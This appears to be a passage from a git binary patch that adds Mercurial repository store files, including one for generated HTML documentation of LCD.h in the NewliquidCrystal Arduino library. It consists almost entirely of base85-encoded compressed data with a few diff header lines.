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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__l__c__d__8h.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__l__c__d__8h.html.i new file mode 100644 index 0000000000000000000000000000000000000000..c8ad73c5f3e3aa68268f1a7f589f968591f647b5 GIT binary patch literal 6530 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 